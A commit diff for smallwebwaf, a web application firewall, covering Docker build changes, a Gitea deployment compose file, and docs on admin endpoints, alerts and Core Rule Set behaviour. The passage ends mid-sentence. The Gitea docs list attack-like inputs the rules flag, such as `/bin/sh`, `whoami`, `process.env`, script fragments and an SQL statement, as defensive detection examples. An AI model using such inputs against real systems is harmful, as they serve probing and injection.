fmt and feedback comments, no code changes

script/publish runs script/docker with DOCKER_HOST set to the Docker
host (ssh://root@fsn1app1 unless set) and pushes the image to
git.eeqj.de/sneak/smallwebwaf under four tags: the UTC date as
YYYY-MM-DD, the short commit hash, the branch name and latest. It
refuses a working tree with uncommitted changes, since the hash tag
names a commit.

.golangci.yml

@@ -61,6 +61,10 @@ linters:
               desc: >-
                 Test-support code belongs in test files and in packages whose
                 directory name ends in test, not in the shipped binary.
+            - pkg: sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest
+              desc: >-
+                Test-support code belongs in test files and in packages whose
+                directory name ends in test, not in the shipped binary.
     # Only decisions already recorded in the Go package defaults are
     # listed here. Every entry matches the module path exactly.
     gomodguard_v2:

Dockerfile

@@ -29,14 +29,39 @@ RUN go mod download
 
 COPY . .
 
-# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
-# after this step, and writing it into the image takes seconds.
-RUN --mount=type=tmpfs,target=/root/.cache/go-build \
-    go test -timeout 90s -race -cover ./... || \
-    { echo "--- Rerunning with -v for details ---"; \
-      go test -timeout 90s -race -v ./...; exit 1; }
+# go.mod and go.sum must be as `go mod tidy` writes them, which is what
+# `make tidy` does. Checked before the tests, which a missing go.sum line
+# fails with a message that does not name `make tidy`.
+RUN go mod tidy -diff || \
+    { echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
 
-# Build stage. Nothing is wanted from the two phases above; the copies
+# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
+# after this step, and writing it into the image takes seconds. The tests
+# are built with the no_fs_access tag, as the binary is in the build stage.
+RUN --mount=type=tmpfs,target=/root/.cache/go-build \
+    go test -tags no_fs_access -timeout 90s -race -cover ./... || \
+    { echo "--- Rerunning with -v for details ---"; \
+      go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
+
+# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
+# writes pass the test phase's check. Nothing else depends on it, so only
+# script/tidy, which names the stage after it, builds it.
+#
+# golang 1.27.1-trixie, 2026-09-19
+FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS tidy
+
+WORKDIR /src
+
+COPY . .
+
+RUN go mod tidy
+
+# go.mod and go.sum alone, which script/tidy writes into the working tree.
+FROM scratch AS tidy-files
+
+COPY --from=tidy /src/go.mod /src/go.sum /
+
+# Build stage. Nothing is wanted from the lint and test phases; the copies
 # are what make BuildKit build them first, so the image, which needs this
 # stage, cannot be produced unless lint and test passed.
 #
@@ -60,7 +85,10 @@ COPY . .
 # The VERSION build arg when one is given, otherwise
 # `git describe --tags --always` on the .git in the build context. With
 # .git present, a version that is still empty, dev or unknown fails the
-# build: git is missing or could not read the checkout.
+# build: git is missing or could not read the checkout. The no_fs_access
+# tag keeps Coraza from writing the files of a multipart body to the
+# system's temporary directory, since smallwebwaf writes only to its state
+# directory.
 ARG VERSION
 RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
     if [ -e .git ]; then \
@@ -69,7 +97,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
             exit 1 ;; \
         esac; \
     fi; \
-    CGO_ENABLED=0 go build -trimpath \
+    CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
         -ldflags="-s -w -X main.Version=${VERSION}" \
         -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
 
@@ -89,8 +117,9 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
     && CGO_ENABLED=0 go build -trimpath -ldflags="-s -w" \
         -o /usr/local/bin/runsvinit .
 
-# The image an app's Dockerfile builds FROM, described under "Deployment"
-# in SPEC.md. It is the last stage, so a plain `docker build .` builds it.
+# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
+# SMALLWEBWAF_COMMAND says servewaf, and an app's Dockerfile can build FROM it.
+# It is the last stage, so a plain `docker build .` builds it.
 #
 # ubuntu 26.04, 2026-09-27
 FROM ubuntu@sha256:f144425ff09be612d6d9ad965196e9cdc23dae1f42110a8a11a3e9a8198759f7
@@ -104,27 +133,11 @@ RUN mkdir /etc/sysusers.d \
     && echo 'u  _runit-log  -  "runit svlogd user"  /nonexistent  /sbin/nologin' \
         > /etc/sysusers.d/runit.conf
 
-# ca-certificates, nix-bin and runit, from Ubuntu's archive as it was at
-# the snapshot moment, which is never earlier than the Ubuntu image above.
-# apt checks every package against the snapshot's InRelease files, and
-# this step checks those against the hashes named here, which are those
-# of the amd64 archive: other architectures use Ubuntu's ports archive.
-# apt also fetches the live archive's InRelease files, which change daily
-# and which the install does not use. The snapshot service is HTTPS only
-# and this image has no CA certificates yet, so this step uses the Go
-# image's.
-RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,target=/tmp/go-image-ca.crt \
-    apt-get update --snapshot 20261001T000000Z \
-        -o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
-    && printf '%s\n' \
-        '45f95ce276cdba3e41870516a130e03c58b8b7a79e9546b0efe9e526d255740c  snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute_InRelease' \
-        '802e675dd9de4c7f3916434a95e7c1d8eec0e82886622d7805ab19a2c6fe0365  snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-updates_InRelease' \
-        '64b3353f0bd4970b4f7271962245bcea9ff24d4cc7bea16b433f8a60e42ca3dd  snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-backports_InRelease' \
-        '1d5041572116a8b23aabf79ac7439ad8af83d57ad3fb0f9aa0d4523ec10c5908  snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-security_InRelease' \
-        | (cd /var/lib/apt/lists && sha256sum --check --strict) \
+# ca-certificates, nix-bin and runit, from Ubuntu's archive. apt fetches
+# them over plain HTTP and checks each one against the archive's signed
+# package lists, so no CA certificates are needed.
+RUN apt-get update \
     && DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
-        --snapshot 20261001T000000Z \
-        -o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
         ca-certificates nix-bin runit \
     && rm -rf /var/lib/apt/lists/*
 
@@ -164,11 +177,11 @@ RUN groupadd --system --gid 65532 smallwebwaf \
 
 # The state files' directory, SWWAF_STATE_DIR by default, where a volume
 # is mounted to keep them across deploys. The run script gives it to the
-# smallwebwaf user at each start.
+# smallwebwaf user at each start of servewaf.
 RUN mkdir /var/lib/smallwebwaf
 
-# The default rule file, in SWWAF_RULES_DIR by default, where an app's
-# Dockerfile can copy rule files of its own beside it.
+# The default rule file, in SWWAF_RULES_DIR by default, where a Dockerfile
+# built FROM this image can copy rule files of its own beside it.
 COPY share/rules.d/00-default.rules /etc/smallwebwaf/rules.d/00-default.rules
 
 # runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv

Makefile

@@ -1,10 +1,14 @@
-.PHONY: bootstrap setup test lint fmt fmt-check check docker hooks build run \
-	example-app
+.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker publish \
+	hooks build run example-app gitea-requests gitea-setup
 
 # Makefile targets are thin shims; the implementations live in script/
 # per the scripts-to-rule-them-all pattern (see the Entrypoints section
-# of README.md). build and run are for working on the code by hand;
-# example-app checks the image with an app built on it.
+# of README.md). tidy writes go.mod and go.sum as `go mod tidy` does,
+# which test checks. build and run are for working on the code by hand;
+# example-app checks the image with an app built on it; gitea-requests
+# reports the gitea requests the Core Rule Set refuses at the defaults;
+# gitea-setup checks the setup in deploy/gitea; publish builds the image
+# on the Docker host and pushes it to the registry.
 
 bootstrap:
 	@script/bootstrap
@@ -24,12 +28,18 @@ fmt:
 fmt-check:
 	@script/fmt-check
 
+tidy:
+	@script/tidy
+
 check:
 	@script/check
 
 docker:
 	@script/docker
 
+publish:
+	@script/publish
+
 hooks:
 	@script/install-precommit
 
@@ -41,3 +51,9 @@ run:
 
 example-app:
 	@script/example-app
+
+gitea-requests:
+	@script/gitea-requests
+
+gitea-setup:
+	@script/gitea-setup

cmd/smallwebwaf/main.go

@@ -1,6 +1,8 @@
-// Command smallwebwaf is a web application firewall for one app: it runs
-// between traefik and the app, and passes requests through within its
-// limits. Everything it does is in internal/smallwebwaf.
+// Command smallwebwaf is a web application firewall. `smallwebwaf rproxy` is
+// the reverse proxy in front of one app, which asks servewaf about each request.
+// `smallwebwaf servewaf` decides, for many sites, and keeps what lasts.
+// `smallwebwaf healthcheck` is the container's health check. Everything it does
+// is in internal/smallwebwaf.
 package main
 
 import (

deploy/gitea/compose.yaml

@@ -0,0 +1,135 @@
+# Gitea behind traefik, with rproxy and servewaf in front of it.
+# docs/gitea.md says what each setting here does and why. Before starting it:
+#   - set SMALLWEBWAF_IMAGE to the smallwebwaf image, named by digest;
+#   - replace git.example.org with the site's host name;
+#   - replace each 10.99.0 with the first three numbers of a /24 subnet that
+#     no other network on the host uses. The /24 must lie inside 10.0.0.0/8,
+#     172.16.0.0/12 or 192.168.0.0/16, because rproxy believes
+#     X-Forwarded-For only from those by default. Replace each fd10:99 with
+#     the first two hextets of an unused /64 subnet whose third and fourth
+#     hextets are 0, as in fd10:99::/64;
+#   - set GITEA_SECRET_KEY to the output of
+#     `docker run --rm <gitea's image below> gitea generate secret SECRET_KEY`,
+#     once per install, and keep it.
+# Then run `docker compose up --detach` in this directory.
+# script/gitea-setup checks this setup.
+
+name: gitea
+
+x-logging: &logging
+    driver: json-file
+    options:
+        max-size: 10m
+        max-file: "5"
+
+services:
+    traefik:
+        # traefik v3.7.17, 2026-11-03
+        image: traefik@sha256:68ae5fe5b64ca166704b746a9e8afcd385e36b3f569a5691401bf652d57b3748
+        # traefik replaces the X-Forwarded-For header a visitor sends. Keep it
+        # so: otherwise a visitor could name an address on the shared network,
+        # and skip servewaf's checks.
+        command:
+            - --providers.docker.exposedbydefault=false
+            - --entrypoints.web.address=:80
+            - --entrypoints.web.http.redirections.entrypoint.to=websecure
+            - --entrypoints.websecure.address=:443
+            # Until a certificate resolver is added here, as for your other
+            # sites, traefik answers with a certificate it made itself.
+            - --entrypoints.websecure.http.tls=true
+            # traefik's own limit of 60 seconds for a whole request would cut
+            # off an upload long before rproxy's limit of 30 minutes.
+            - --entrypoints.websecure.transport.respondingTimeouts.readTimeout=30m
+        ports:
+            - 80:80
+            - 443:443
+        volumes:
+            - /var/run/docker.sock:/var/run/docker.sock:ro
+        networks:
+            shared:
+                # Containers on the shared network find traefik under the
+                # site's name, and so reach it from their own address.
+                aliases:
+                    - git.example.org
+        restart: unless-stopped
+
+    gitea:
+        # gitea 1.27.3, 2026-08-29
+        image: gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef
+        environment:
+            GITEA__server__ROOT_URL: https://git.example.org/
+            # Gitea starts at its defaults, with SQLite, instead of showing its
+            # install page to whoever opens it first.
+            GITEA__security__INSTALL_LOCK: "true"
+            GITEA__security__SECRET_KEY: ${GITEA_SECRET_KEY:?set GITEA_SECRET_KEY, see docs/gitea.md}
+            # Accounts are made with `gitea admin user create`.
+            GITEA__service__DISABLE_REGISTRATION: "true"
+            # rproxy's addresses. Gitea then takes each visitor's address from
+            # the X-Real-Ip header traefik sets and rproxy passes on.
+            GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES: 10.99.0.2,fd10:99::2
+        volumes:
+            - gitea-data:/data
+        networks:
+            - shared
+        restart: unless-stopped
+
+    rproxy:
+        image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image}
+        environment:
+            SWRP_WAF_BACKEND: http://servewaf:8080
+            SWRP_UPSTREAM_URL: http://gitea:3000
+            # Pushes, LFS objects, packages and release attachments of up to
+            # 2 GiB, sent in up to 30 minutes.
+            SWRP_MAX_REQUEST_SIZE: 2G
+            SWRP_MAX_REQUEST_TIME_MS: "1800000"
+            # 15 minutes for a clone or a download, half the default.
+            SWRP_MAX_RESPONSE_TIME_MS: "900000"
+        labels:
+            traefik.enable: "true"
+            traefik.http.routers.gitea.rule: Host(`git.example.org`)
+            traefik.http.routers.gitea.entrypoints: websecure
+            traefik.http.services.gitea.loadbalancer.server.port: "8080"
+        networks:
+            shared:
+                ipv4_address: 10.99.0.2
+                ipv6_address: fd10:99::2
+        logging: *logging
+        restart: unless-stopped
+
+    servewaf:
+        image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image}
+        environment:
+            SMALLWEBWAF_COMMAND: servewaf
+            # The containers on the shared network skip the checks. Add the
+            # address of an automation fleet on another host here too; without
+            # that, it is counted like any client.
+            SWWAF_ALLOW_NETS: 10.99.0.128/25,fd10:99:0:0:8000::/65
+            # In block mode the Core Rule Set refuses everyday Gitea searches
+            # and file names, and 31 refusals in a minute ban the address.
+            SWWAF_WAF_MODE: detect
+        volumes:
+            - servewaf-state:/var/lib/smallwebwaf
+        networks:
+            - shared
+        logging: *logging
+        restart: unless-stopped
+
+networks:
+    # The network traefik and Gitea share. Its containers get addresses in the
+    # upper half of each subnet, which servewaf lets skip the checks. Each
+    # subnet's gateway, the host's own address on it, stays out of that half:
+    # requests docker passes on from a published port can come from it.
+    shared:
+        enable_ipv6: true
+        ipam:
+            config:
+                - subnet: 10.99.0.0/24
+                  ip_range: 10.99.0.128/25
+                  gateway: 10.99.0.1
+                - subnet: fd10:99::/64
+                  ip_range: fd10:99:0:0:8000::/65
+                  gateway: fd10:99::1
+
+volumes:
+    gitea-data:
+    servewaf-state:

docs/admin-endpoints.md

@@ -0,0 +1,60 @@
+# Admin endpoints
+
+The endpoints under `/_smallwebwaf/`, what each takes and what each answers.
+`smallwebwaf servewaf` answers them at its own address, on the private network.
+"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
+
+- `GET /_smallwebwaf/healthz`: `200` and `ok`, to anyone.
+- `GET /_smallwebwaf/metrics`: the metrics, for `SWWAF_METRICS_TOKEN` (see
+  [`metrics.md`](metrics.md)).
+- `GET /_smallwebwaf/bans`: every ban held, under `bans`, each as `bans.json`
+  lists it. Needs `SWWAF_ADMIN_TOKEN`, as do the three below.
+- `POST /_smallwebwaf/bans`: bans a netblock. The body is a JSON object of
+  `netblock`, `duration` and, if you like, `reason`. `netblock` is a netblock
+  such as `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
+  (`SWWAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
+  as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
+  wrong:
+    - one that is not such an object, or has another field;
+    - one longer than 4 KiB;
+    - one that names an IPv4-mapped netblock, or an address with a zone.
+- `DELETE /_smallwebwaf/bans/<client>`: lifts every active ban covering the
+  address `<client>`. It answers `404` when none is active.
+- `GET /_smallwebwaf/clients/<ip>`: what `servewaf` knows of the client. Under
+  `client`, its counters and history as `clients.json` holds them, or `null`
+  when `clients.json` does not hold it. Under `bans`, every ban covering the
+  address, with its notes.
+- `POST /_smallwebwaf/report`: takes `rproxy`'s report, without a token. It
+  answers `204`, or `400` to a body that is no report (see "The report" in
+  [`SPEC.md`](../SPEC.md)).
+
+No check runs on these requests. A missing or wrong token is answered `401`. An
+endpoint whose token is unset answers `404`, as does any other path.
+
+`smallwebwaf rproxy` answers only the health check of these, at its own address.
+It asks `servewaf` about any other request under `/_smallwebwaf/`. One that
+passes the checks is answered `404`, so that the app never sees that prefix (see
+"`rproxy`" in [`SPEC.md`](../SPEC.md)).
+
+## Examples
+
+With `SWWAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `servewaf` reached as
+`servewaf:8080` on its network:
+
+```sh
+# Every ban.
+curl -H "Authorization: Bearer $TOKEN" http://servewaf:8080/_smallwebwaf/bans
+
+# Ban 203.0.113.0/24 for seven days.
+curl -H "Authorization: Bearer $TOKEN" \
+    --json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
+    http://servewaf:8080/_smallwebwaf/bans
+
+# Lift the bans on 203.0.113.9.
+curl -H "Authorization: Bearer $TOKEN" -X DELETE \
+    http://servewaf:8080/_smallwebwaf/bans/203.0.113.9
+
+# What servewaf knows of 203.0.113.9.
+curl -H "Authorization: Bearer $TOKEN" \
+    http://servewaf:8080/_smallwebwaf/clients/203.0.113.9
+```

docs/alerts.md

@@ -0,0 +1,137 @@
+# Alerts
+
+The alert events, the JSON object the webhook gets, and the messages Slack and
+ntfy get. "Alerting" in [`SPEC.md`](../SPEC.md) says when an alert is sent, held
+back or dropped.
+
+## Events
+
+- `ban`: a ban `servewaf` made.
+- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
+  a request.
+- `waf_block`: the Core Rule Set scored a request at or over the threshold. The
+  request was refused unless the alert's `detail` gives `mode`: `detect` or
+  `observe`.
+- `anomaly`: a count over an anomaly threshold.
+- `reputation_hit`: a request from a client on a blocklist, the CrowdSec
+  decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
+  One alert per source.
+- `source_failure`: one of:
+    - GeoJS failing;
+    - a list that cannot be fetched;
+    - a DNS blocklist or AbuseIPDB failing or refusing a query;
+    - the day's AbuseIPDB checks used up.
+- `file_error`: one of:
+    - a rule file or state file edit with an error;
+    - a state file that cannot be written;
+    - a replacement lookup database that cannot be read.
+- `summary`: the hourly summary of alerts held back.
+
+## The JSON object
+
+This is the alert for a ban for a broken rate limit, shown indented; it is sent
+on one line:
+
+```json
+{
+    "instance": "fsn1/servewaf",
+    "time": "2026-10-06T12:00:50.123461Z",
+    "event": "ban",
+    "host": "app.example",
+    "client": "203.0.113.9",
+    "netblock": "203.0.113.9/32",
+    "asn": "",
+    "as_name": "",
+    "country": "",
+    "reason": "requests per minute over the limit of 500",
+    "detail": {
+        "ban_expires": "2026-10-06T13:00:50.123Z",
+        "cause": "limit",
+        "notes": {
+            "asn": "",
+            "as_name": "",
+            "country": "",
+            "kind": "requests",
+            "limit": 500,
+            "window": "minute",
+            "count": 501,
+            "request": {
+                "time": "2026-10-06T12:00:50.123456789Z",
+                "method": "GET",
+                "host": "app.example",
+                "path": "/owner/repo/commits/branch/main?page=501",
+                "status": 403,
+                "user_agent": "scraper/1.0"
+            },
+            "requests": 501,
+            "refused": 0,
+            "earlier_bans": {
+                "limit": 0,
+                "attack": 0,
+                "admin": 0,
+                "crowdsec": 0
+            }
+        }
+    },
+    "suppressed_repeats": 0
+}
+```
+
+- `instance`: `SWWAF_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
+  one of the events above.
+- `host`: the site of the request that raised the alert, since one `servewaf`
+  serves many sites. It is left out of `source_failure`, `file_error` and
+  `summary`.
+- `client`: the address whose request raised the alert. Empty for
+  `source_failure`, `file_error` and `summary`.
+- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
+  one of:
+    - the ban's netblock;
+    - the netblock an anomaly counted, empty in the `asn` and `total` scopes;
+    - for the other events, the client as rate limiting counts it: an IPv4
+      address as a /32, or an IPv6 group.
+- `asn`, `as_name` and `country`: the client's, as known when the alert was
+  raised. They are empty when GeoJS had not answered yet.
+- `reason`: a short sentence, such as
+  `requests per minute over the limit of 500` or `listed by a blocklist`.
+- `detail`: what is particular to the event:
+    - for a ban, its `cause`, `ban_expires` and `notes` (the notes are listed
+      under `bans.json` in [`state-files.md`](state-files.md));
+    - for an anomaly, the `scope`, `window`, `kind`, `count` and `threshold`;
+    - for a reputation hit, the `source` and, for AbuseIPDB, the `score`;
+    - for a Core Rule Set match, the `rule_ids`, `score`, `method` and `path`;
+    - for a source failure, the `source` and `error`;
+    - for a file error, the `file` and `error`;
+    - for a summary, the `hour` it covers, the `count` of alerts held back, and
+      that count by event in `events`;
+    - `mode`, when the request was not refused: `detect` or `observe`.
+- `suppressed_repeats`: how many repeats the cooldown held back before this
+  alert.
+
+## Slack and ntfy
+
+Slack and ntfy get a message with a title and a text. The title is the instance
+and the event, such as `fsn1/servewaf: ban`. The text is the `reason`, then one
+line for each of these that the alert has:
+
+- the host, the client, the netblock and the country;
+- the file, the source, the error and the mode from `detail`;
+- the suppressed repeats, if any.
+
+Slack gets the title in bold and the text below it, with `&`, `<` and `>`
+escaped. ntfy gets the text as the message, with these headers:
+
+- `Title`: the title;
+- `Authorization`: the token, as `Bearer <token>`, while
+  `SWWAF_ALERT_NTFY_TOKEN` is set;
+- `Priority` and `Tags`: by event, as listed below.
+
+The priority and tag by event:
+
+- `ban`: priority `default`, tag `no_entry`.
+- `permanent_ban`: priority `high`, tag `no_entry`.
+- `waf_block`: priority `default`, tag `shield`.
+- `anomaly`: priority `high`, tag `chart_with_upwards_trend`.
+- `reputation_hit`: priority `low`, tag `label`.
+- `source_failure` and `file_error`: priority `high`, tag `warning`.
+- `summary`: priority `default`, tag `bar_chart`.

docs/gitea.md

@@ -0,0 +1,340 @@
+# smallwebwaf in front of gitea
+
+`deploy/gitea/compose.yaml` runs gitea behind traefik, with `rproxy` and
+`servewaf` in front of it. This document says what that setup sets and why, and
+what the defaults would do without it. [`SPEC.md`](../SPEC.md) says how
+`smallwebwaf` behaves.
+
+## The setup
+
+Four containers share one Docker network, the shared network:
+
+- traefik, which routes the site's HTTPS requests to `rproxy`, and redirects
+  plain HTTP to HTTPS;
+- `rproxy`, in front of gitea;
+- gitea 1.27.3, as its image comes;
+- `servewaf`, with a volume for its state files.
+
+To start it:
+
+1. In `deploy/gitea/compose.yaml`, replace `git.example.org` with the site's
+   host name.
+2. Replace each `10.99.0` with the first three numbers of a `/24` subnet that no
+   other network on the host uses. The `/24` must lie inside `10.0.0.0/8`,
+   `172.16.0.0/12` or `192.168.0.0/16`, because `rproxy` believes
+   `X-Forwarded-For` only from those by default. Replace each `fd10:99` with the
+   first two hextets of an unused `/64` subnet whose third and fourth hextets
+   are 0, as in `fd10:99::/64`.
+3. Set `SMALLWEBWAF_IMAGE` to the `smallwebwaf` image, named by digest.
+4. Set `GITEA_SECRET_KEY` to the output of
+   `docker run --rm <gitea's image> gitea generate secret SECRET_KEY`, with
+   gitea's image as `deploy/gitea/compose.yaml` names it. Do this once per
+   install, and keep the key.
+5. Run `docker compose up --detach` in `deploy/gitea`.
+6. Make gitea's first user with `gitea admin user create`, in gitea's container,
+   as the user `git`.
+
+Sign-up is off: accounts are made with `gitea admin user create`. gitea starts
+at its defaults, with SQLite. traefik answers with a certificate it made itself
+until you add a certificate resolver, as for your other sites. SSH to gitea does
+not pass through `smallwebwaf`; publish gitea's SSH port yourself if you use it.
+
+`make gitea-setup` checks the setup. It builds the image, brings the setup up
+under a name of its own, and checks:
+
+- that a page load, a push and a clone sent through traefik pass through
+  `rproxy`, and that `servewaf` checks them;
+- that gitea logs the visitor's address, not `rproxy`'s;
+- that a request from a container on the shared network skips the checks;
+- that with `servewaf` stopped, gitea still answers through `rproxy`.
+
+## Uploads and downloads
+
+An upload is a request:
+
+- a git push;
+- an LFS object;
+- a container image layer;
+- a package file;
+- a release attachment.
+
+The setup lets an upload of up to 2 GiB, sent in up to 30 minutes, through:
+
+- `SWRP_MAX_REQUEST_SIZE` is `2G`. At the default, an upload over 100 MiB is cut
+  off.
+- `SWRP_MAX_REQUEST_TIME_MS` is `1800000`, 30 minutes. At the default, an upload
+  that takes over 60 seconds is cut off.
+- traefik's `readTimeout` is 30 minutes. traefik's own default of 60 seconds for
+  a whole request would cut off an upload first.
+
+A clone or a download is a response:
+
+- `SWRP_MAX_RESPONSE_TIME_MS` is `900000`, 15 minutes, half the default. A clone
+  or download that takes longer is cut off.
+- `SWRP_MAX_RESPONSE_SIZE` stays at its default, 1 GiB. A repository whose clone
+  is larger needs it raised.
+
+The byte limits stay at their defaults: no minute limit, 50 GiB an hour and 100
+GiB a day.
+
+## The checks
+
+`SWWAF_WAF_MODE` is `detect`. The Core Rule Set then logs a match, with its rule
+ids, and refuses nothing. In `block` mode, the default, it refuses everyday
+gitea searches and file names. The section "What the Core Rule Set refuses in
+`block` mode" below lists them. Each such refusal counts toward the error burst,
+so 31 in one minute ban the address.
+
+Every other check stays at its default. A client may make 120 requests a minute,
+1,500 an hour and 6,000 a day. Archive downloads and blame and history pages are
+what scrapers hammer, and these limits do most of the work there.
+
+## The shared network
+
+Containers on the shared network skip `servewaf`'s checks:
+
+- The shared network's subnets are `10.99.0.0/24` and `fd10:99::/64`. Docker
+  gives its containers addresses in the upper half of each, `10.99.0.128/25` and
+  `fd10:99:0:0:8000::/65`, which `SWWAF_ALLOW_NETS` names.
+- traefik is known on the shared network by the site's host name. So a container
+  there that asks for the site reaches traefik from its own address. An
+  automation fleet in such a container skips the checks.
+- Each subnet's gateway, `10.99.0.1` and `fd10:99::1`, is the host's own address
+  on it. Requests docker passes on from a published port can come from the
+  gateway, so the gateways are left out of `SWWAF_ALLOW_NETS`. The network has
+  IPv6, so a visitor over IPv6 reaches traefik from its own address, and
+  `servewaf` checks it as itself.
+- A container on the shared network that asks for the site at the host's public
+  address arrives from the gateway. It is checked like any visitor.
+- A fleet on another host can have its address added to `SWWAF_ALLOW_NETS`.
+  Without that, it is counted like any client.
+- traefik replaces the `X-Forwarded-For` a visitor sends, by default. Keep it
+  so: otherwise a visitor could name an address on the shared network, and skip
+  the checks.
+- Anything on the shared network can reach gitea and `servewaf` around `rproxy`.
+  Put only containers you trust on it.
+
+## gitea's settings
+
+- `REVERSE_PROXY_TRUSTED_PROXIES` names `rproxy`'s fixed addresses, `10.99.0.2`
+  and `fd10:99::2`. gitea then takes each visitor's address from the `X-Real-Ip`
+  header, which traefik sets and `rproxy` passes on. Without it, gitea logs
+  every visitor as `rproxy`.
+- `INSTALL_LOCK` is `true`, as "The setup" above says.
+
+## Methods
+
+`rproxy` passes on only these methods: `GET`, `HEAD`, `POST`, `OPTIONS`, `PUT`,
+`DELETE`, `PATCH` and `QUERY`. gitea 1.27.3 needs no other. Its routes use:
+
+- pages and the API: `GET`, `HEAD`, `POST`, `PUT`, `PATCH` and `DELETE`;
+- git's push, clone and fetch over HTTP: `GET`, `POST` and `OPTIONS`;
+- LFS: `GET`, `POST` and `PUT`;
+- the container registry and the other package registries: `GET`, `HEAD`,
+  `POST`, `PUT`, `PATCH` and `DELETE`;
+- Actions runners: `POST`.
+
+## The log
+
+`rproxy` and `servewaf` write each query string to the log whole. A token sent
+in the query string, as `?token=`, is then in the log. Send it in the
+`Authorization` header instead.
+
+## Actions runners
+
+A runner on the shared network skips the checks. One on another host is counted
+like any client. A runner older than version 0.4 (April 2026) asks for work
+every 2 seconds, 1,800 requests an hour. While it runs a job, it reports the
+job's log and state every second instead, two requests a second.
+
+So one idle runner makes 1,800 requests an hour, more than the hour limit of
+1,500. A busy one, at two requests a second, passes the minute limit of 120
+within two minutes. Its address is then banned, its running jobs fail, and each
+repeat within a day makes the ban longer. Newer runners ask for work less often.
+Put the runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`.
+
+## What the Core Rule Set refuses in `block` mode
+
+These notes record what the Core Rule Set does in front of gitea in `block`
+mode, at the other defaults. They are observations, not requirements.
+`script/gitea-requests` runs gitea behind `rproxy` and `servewaf` at the
+defaults. It sends through them a sample of gitea's ordinary use and the
+requests named below. It reports each request the Core Rule Set refuses, so that
+these notes can be checked again when gitea or the Core Rule Set changes
+version. In `detect` mode, as the setup runs it, the same requests are logged
+with their rule ids, and pass.
+
+Each refusal answers only that request ("Bans" in `SPEC.md` says what it counts
+toward). The request log names the rule in `waf_rule_ids`, which
+`SWWAF_WAF_DISABLED_RULES` can switch off.
+
+### What it lets through
+
+The Core Rule Set lets gitea's ordinary use through, apart from the refusals in
+the sections after this one:
+
+- browsing and views of files in a repository, with their history, blame and the
+  file tree;
+- diffs, including their hidden lines and large files, and pull request review;
+- git's clone, fetch and push over HTTP;
+- signing in, including the return to the page a visitor came from, and sign-in
+  with Git Credential Manager, git-credential-oauth or tea;
+- the API's calls for a file and its commits;
+- pushing and pulling container images and packages;
+- Actions runners, and artifacts uploaded with `actions/upload-artifact@v4`;
+- posting issues, pull requests, comments, wiki pages and files saved in the web
+  editor, code included, since no body is read;
+- the page gitea shows after a change, with its message naming what was done.
+
+### A query string that reads as an attack
+
+Most often this is a search. A search term is a query parameter, which the Core
+Rule Set checks against its lists of system files and commands (see the fourth
+change under "Attack detection" in `SPEC.md`). A release attachment uploaded
+through the API as `docker-compose.yml` is refused the same way. Examples:
+
+- a name on those lists, such as `package.json`, `.gitignore` or
+  `docker-compose.yml`;
+- text that starts with a command name, such as `python3` or `ssh key`, or has
+  one right after a `/` in its first word, such as `feat/docker-support`;
+- a shell command with its options or a system path (`ls -la`, `sed -i`,
+  `/bin/sh`), or a command in backticks;
+- script code (`fetch(`, `${VAR}`, `process.env`), HTML (`<img src=`) or an SQL
+  statement (`SELECT * FROM users WHERE`);
+- a URL naming an IP address or `localhost`.
+
+### A branch, tag or file name that starts with a command name
+
+The Core Rule Set's list of commands (932260) holds names such as `docker-`,
+`python3`, `ansible`, `base64` and `whoami`. A query parameter holding a branch,
+tag or file name that starts with one is refused. So is one that has such a name
+right after a `/`, such as `feat/docker-support`, `fix/docker-build` or
+`renovate/docker-build-push-action-6.x`. gitea's own pages send the name in a
+query parameter that 930120, 932160 and 932260 still check:
+
+- `refSubUrl`, the branch or tag of a directory listing. A listing sends it when
+  it asks for its entries' last commits in a second request. It does so whenever
+  gitea takes more than a second to work them out;
+- `name`, when a branch is deleted or restored on the branches page;
+- `tag`, when a release is started from a tag;
+- `template`, the file of an issue template, when an issue is opened from it;
+- `rule_name`, when a branch protection rule is opened for editing in the
+  repository's settings or has just been saved.
+
+What a visitor sees, for a branch named `docker-build`:
+
+- A directory listing that makes that second request leaves those last commits
+  out and shows an error.
+- The branches page shows an error instead of deleting or restoring the branch.
+- A release started from such a tag gets the `403` answer of `smallwebwaf` in
